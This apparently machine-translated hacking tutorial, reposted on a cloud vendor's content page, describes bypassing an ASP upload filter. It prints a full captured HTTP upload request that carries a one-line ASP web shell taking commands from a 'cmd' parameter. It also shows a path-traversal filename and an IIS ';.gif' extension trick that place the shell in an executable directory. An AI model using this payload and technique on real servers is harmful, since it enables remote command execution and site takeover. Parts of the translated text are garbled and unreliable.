Upload breakthrough without changing the file name

Source: Internet
Author: User

The method is good. First, do not forcibly change the upload file name. In addition, the upload directory has no execution permission.
 
Then, it seems that you can upload the file to a directory that can be written by the upper-level.
 
For example, capture the captured upload data packet:
 
POST/upload/upfile. asp HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd. ms-excel, application/vnd. ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd. ms-xpsdocument, application/xaml + xml ,*/*
Referer: http://www.bkjia.com/upload. asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary = --------- 7da290150c5e
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;. net clr 2.0.50727;. net clr 3.0.20.6.2152;. net clr 3.5.30729)
Host: www.tmdsb.com
Content-Length: 448
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSCTCSCT = DJBKGKLBBIGNKJMBGOENNPAN
---------- 7da290150c5e
Content-Disposition: form-data; name = "act"
Upload
---------- 7da290150c5e
Content-Disposition: form-data; name = "file1"; filename = "d:/www/tmdsb/web/tmdsb.asp;.gif"
Content-Type: text/plain
<% Execute (request ("cmd") %>
---------- 7da290150c5e
Content-Disposition: form-data; name = "Submit"
Up
---------- 7da290150c5e-
Then the key is:
 
Content-Disposition: form-data; name = "file1"; filename = "d:/www/tmdsb/web/tmdsb.asp;.gif"
 
First of all. Filename: How does one determine that the start is the file name?
 
It is the file name after judging the rightmost "/" in filename.
 
You should know. In windows, "/" and "/" are independent of each other.
 
Assume that the uploaded directory is upload/
 
Then a writable directory that can be executed is tmdsb/
 
So we only need to construct
 
Content-Disposition: form-data; name = "file1"; filename = "d:/www/tmdsb/web/../tmdsb/tmdsb.asp;.gif"
 
The uploaded file is successfully uploaded to tmdsb/tmdsb.asp;.gif.
 
Of course, we need to work with the IIS vulnerability (when only images can be uploaded). If asp can be uploaded directly
 
No. By www.sb-sb.cn

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.